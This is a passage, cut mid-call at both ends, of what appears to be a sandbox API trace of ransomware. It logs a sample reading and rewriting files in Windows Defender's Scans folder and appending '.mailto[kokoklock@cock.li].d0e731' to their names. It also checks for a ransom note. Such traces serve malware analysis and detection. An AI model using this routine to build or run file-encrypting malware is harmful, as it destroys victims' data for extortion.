lpNumberOfBytesWritten=0x21cbfe24*=0x8, lpOverlapped=0x0) returned 1 [0079.594] WriteFile (in: hFile=0x43c, lpBuffer=0x21cbfe3c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21cbfe24, lpOverlapped=0x0 | out: lpBuffer=0x21cbfe3c*, lpNumberOfBytesWritten=0x21cbfe24*=0x4, lpOverlapped=0x0) returned 1 [0079.594] WriteFile (in: hFile=0x43c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21cbfe24, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x21cbfe24*=0x4, lpOverlapped=0x0) returned 1 [0079.594] WriteFile (in: hFile=0x43c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x21cbfe24, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x21cbfe24*=0x6c, lpOverlapped=0x0) returned 1 [0079.594] WriteFile (in: hFile=0x43c, lpBuffer=0x3491e70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21cbfe24, lpOverlapped=0x0 | out: lpBuffer=0x3491e70*, lpNumberOfBytesWritten=0x21cbfe24*=0x20, lpOverlapped=0x0) returned 1 [0079.595] WriteFile (in: hFile=0x43c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21cbfe24, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x21cbfe24*=0x4, lpOverlapped=0x0) returned 1 [0079.595] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e70) returned 1 [0079.595] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34920a0) returned 1 [0079.595] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492190) returned 1 [0079.595] CloseHandle (hObject=0x43c) returned 1 [0079.595] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x11a) returned 0x33e20f8 [0079.595] wcscpy (in: _Dest=0x33e20f8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB" [0079.595] wcscat (in: _Dest=0x33e20f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB.mailto[kokoklock@cock.li].d0e731" [0079.595] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.cb"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.cb.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.596] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0079.596] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e20f8) returned 1 [0079.596] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CB", dwFileAttributes=0x20) returned 0 [0079.596] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348c428 [0079.596] wcscpy (in: _Dest=0x348c428, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0079.596] wcscat (in: _Dest=0x348c428, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" [0079.596] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\d0e731-readme.txt")) returned 0x20 [0079.597] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348c428) returned 1 [0079.597] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494978) returned 1 [0079.597] RtlExitUserThread (Status=0x1) Thread: id = 928 os_tid = 0x1584 [0079.476] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.cc")) returned 0x20 [0079.529] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC", dwFileAttributes=0x20) returned 1 [0079.529] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.cc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0079.530] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x21d3fc88 | out: lpFileSize=0x21d3fc88*=278945) returned 1 [0079.530] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x4419d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.530] ReadFile (in: hFile=0x43c, lpBuffer=0x21d3fc5c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21d3fc58, lpOverlapped=0x0 | out: lpBuffer=0x21d3fc5c*, lpNumberOfBytesRead=0x21d3fc58*=0x4, lpOverlapped=0x0) returned 1 [0079.535] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.536] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491a60 [0079.536] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491a38 [0079.536] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34918f8 [0079.536] NtQuerySystemTime (in: CurrentTime=0x21d3fc34 | out: CurrentTime=0x21d3fc34*=132121176374229830) returned 0x0 [0079.536] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0xc83d6300 [0079.536] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0xfd5be1e6 [0079.536] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0x45194e66 [0079.536] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0xed45eb89 [0079.536] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0x94deb67a [0079.536] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0x3ff9cde5 [0079.536] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0xd90a8a80 [0079.536] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0x70d35730 [0079.536] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0x90dac5dc [0079.536] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0xd55fd25c [0079.536] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0xc0cdc2ac [0079.536] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0xce6c6c3 [0079.536] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0xe741a044 [0079.536] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0x77a28078 [0079.536] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0x97de5dff [0079.536] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0x56a2a4b7 [0079.536] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0x580dcbf5 [0079.536] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0x2aca4ec3 [0079.536] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0x544218a3 [0079.536] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0x9edbb7c3 [0079.536] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0xf92ec764 [0079.536] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0x37e025a2 [0079.536] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0x8e8ee1ea [0079.537] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0xbf2f77c3 [0079.537] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0x92a00e78 [0079.537] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0x8394a0a4 [0079.537] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0xfbf863b1 [0079.537] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0xcb7321a3 [0079.537] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0xa12deebc [0079.537] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0x2203d50e [0079.537] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0xa5e5dc36 [0079.537] RtlRandom (in: Seed=0x21d3fc40 | out: Seed=0x21d3fc40) returned 0xdf390195 [0079.548] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.548] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491a60) returned 1 [0079.548] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0079.548] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.548] ReadFile (in: hFile=0x43c, lpBuffer=0x34ae380, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x21d3fbf4, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesRead=0x21d3fbf4*=0x4096, lpOverlapped=0x0) returned 1 [0079.552] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0079.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491df8 [0079.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491df8) returned 1 [0079.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b2420 [0079.554] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491fb0 [0079.554] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e48 [0079.554] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e48) returned 1 [0079.554] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.555] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0079.555] WriteFile (in: hFile=0x43c, lpBuffer=0x34b2420*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x21d3fbf4, lpOverlapped=0x0 | out: lpBuffer=0x34b2420*, lpNumberOfBytesWritten=0x21d3fbf4*=0x4096, lpOverlapped=0x0) returned 1 [0079.555] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b2420) returned 1 [0079.555] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x24546, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.555] ReadFile (in: hFile=0x43c, lpBuffer=0x34ae380, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x21d3fbf4, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesRead=0x21d3fbf4*=0x4096, lpOverlapped=0x0) returned 1 [0079.565] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x24546, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.565] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0079.565] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0079.565] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491ce0 [0079.565] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491ce0) returned 1 [0079.566] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b2420 [0079.566] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491ce0 [0079.566] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491a10 [0079.566] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491a10) returned 1 [0079.566] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.566] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0079.566] WriteFile (in: hFile=0x43c, lpBuffer=0x34b2420*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x21d3fbf4, lpOverlapped=0x0 | out: lpBuffer=0x34b2420*, lpNumberOfBytesWritten=0x21d3fbf4*=0x4096, lpOverlapped=0x0) returned 1 [0079.566] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b2420) returned 1 [0079.566] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x4010b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.566] ReadFile (in: hFile=0x43c, lpBuffer=0x34ae380, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x21d3fbf4, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesRead=0x21d3fbf4*=0x4096, lpOverlapped=0x0) returned 1 [0079.567] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x4010b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.567] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0079.567] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.567] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491a10 [0079.567] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491a10) returned 1 [0079.568] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b2420 [0079.568] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491a10 [0079.568] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491858 [0079.568] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491858) returned 1 [0079.568] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.568] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0079.568] WriteFile (in: hFile=0x43c, lpBuffer=0x34b2420*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x21d3fbf4, lpOverlapped=0x0 | out: lpBuffer=0x34b2420*, lpNumberOfBytesWritten=0x21d3fbf4*=0x4096, lpOverlapped=0x0) returned 1 [0079.568] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b2420) returned 1 [0079.568] WriteFile (in: hFile=0x43c, lpBuffer=0x3491fb0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21d3fc50, lpOverlapped=0x0 | out: lpBuffer=0x3491fb0*, lpNumberOfBytesWritten=0x21d3fc50*=0x20, lpOverlapped=0x0) returned 1 [0079.568] WriteFile (in: hFile=0x43c, lpBuffer=0x3491ce0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21d3fc50, lpOverlapped=0x0 | out: lpBuffer=0x3491ce0*, lpNumberOfBytesWritten=0x21d3fc50*=0x20, lpOverlapped=0x0) returned 1 [0079.568] WriteFile (in: hFile=0x43c, lpBuffer=0x3491a10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21d3fc50, lpOverlapped=0x0 | out: lpBuffer=0x3491a10*, lpNumberOfBytesWritten=0x21d3fc50*=0x20, lpOverlapped=0x0) returned 1 [0079.568] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0079.569] WriteFile (in: hFile=0x43c, lpBuffer=0x3492190*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x21d3fc58, lpOverlapped=0x0 | out: lpBuffer=0x3492190*, lpNumberOfBytesWritten=0x21d3fc58*=0x8, lpOverlapped=0x0) returned 1 [0079.569] WriteFile (in: hFile=0x43c, lpBuffer=0x21d3fc70*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21d3fc58, lpOverlapped=0x0 | out: lpBuffer=0x21d3fc70*, lpNumberOfBytesWritten=0x21d3fc58*=0x4, lpOverlapped=0x0) returned 1 [0079.569] WriteFile (in: hFile=0x43c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21d3fc58, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x21d3fc58*=0x4, lpOverlapped=0x0) returned 1 [0079.569] WriteFile (in: hFile=0x43c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x21d3fc58, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x21d3fc58*=0x6c, lpOverlapped=0x0) returned 1 [0079.569] WriteFile (in: hFile=0x43c, lpBuffer=0x3491a38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21d3fc58, lpOverlapped=0x0 | out: lpBuffer=0x3491a38*, lpNumberOfBytesWritten=0x21d3fc58*=0x20, lpOverlapped=0x0) returned 1 [0079.569] WriteFile (in: hFile=0x43c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21d3fc58, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x21d3fc58*=0x4, lpOverlapped=0x0) returned 1 [0079.570] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491a38) returned 1 [0079.570] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491a88) returned 1 [0079.570] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492190) returned 1 [0079.570] CloseHandle (hObject=0x43c) returned 1 [0079.570] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x11a) returned 0x33e20f8 [0079.570] wcscpy (in: _Dest=0x33e20f8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC" [0079.570] wcscat (in: _Dest=0x33e20f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC.mailto[kokoklock@cock.li].d0e731" [0079.570] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.cc"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.cc.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.571] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0079.571] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e20f8) returned 1 [0079.571] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CC", dwFileAttributes=0x20) returned 0 [0079.571] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348c428 [0079.571] wcscpy (in: _Dest=0x348c428, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0079.571] wcscat (in: _Dest=0x348c428, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" [0079.571] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\d0e731-readme.txt")) returned 0x20 [0079.571] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348c428) returned 1 [0079.571] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493478) returned 1 [0079.571] RtlExitUserThread (Status=0x1) Thread: id = 929 os_tid = 0x1588 [0079.479] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7a) returned 0x347ed70 [0079.480] wcscpy (in: _Dest=0x347ed70, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\RtSigs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\RtSigs") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\RtSigs" [0079.480] wcscat (in: _Dest=0x347ed70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\RtSigs\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\RtSigs\\" [0079.480] wcscat (in: _Dest=0x347ed70, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\RtSigs\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\RtSigs\\*" [0079.480] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f51f0 [0079.480] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\RtSigs\\*", lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fad6a80, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2a35fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xac709f73, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0198 [0079.501] wcscmp (_String1=".", _String2=".") returned 0 [0079.501] FindNextFileW (in: hFindFile=0x33e0198, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fad6a80, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2a35fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xac709f73, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.501] wcscmp (_String1="..", _String2=".") returned 1 [0079.501] wcscmp (_String1="..", _String2="..") returned 0 [0079.501] FindNextFileW (in: hFindFile=0x33e0198, lpFindFileData=0x33f51f0 | out: lpFindFileData=0x33f51f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fafccda, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2a8e638, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2fafccda, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0079.501] wcscmp (_String1="Data", _String2=".") returned 1 [0079.501] wcscmp (_String1="Data", _String2="..") returned 1 [0079.501] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x80) returned 0x347f3d0 [0079.501] wcscpy (in: _Dest=0x347f3d0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\RtSigs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\RtSigs") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\RtSigs" [0079.502] wcscat (in: _Dest=0x347f3d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\RtSigs\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\RtSigs\\" [0079.502] wcscat (in: _Dest=0x347f3d0, _Source="Data" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\RtSigs\\Data") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\RtSigs\\Data" [0082.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, 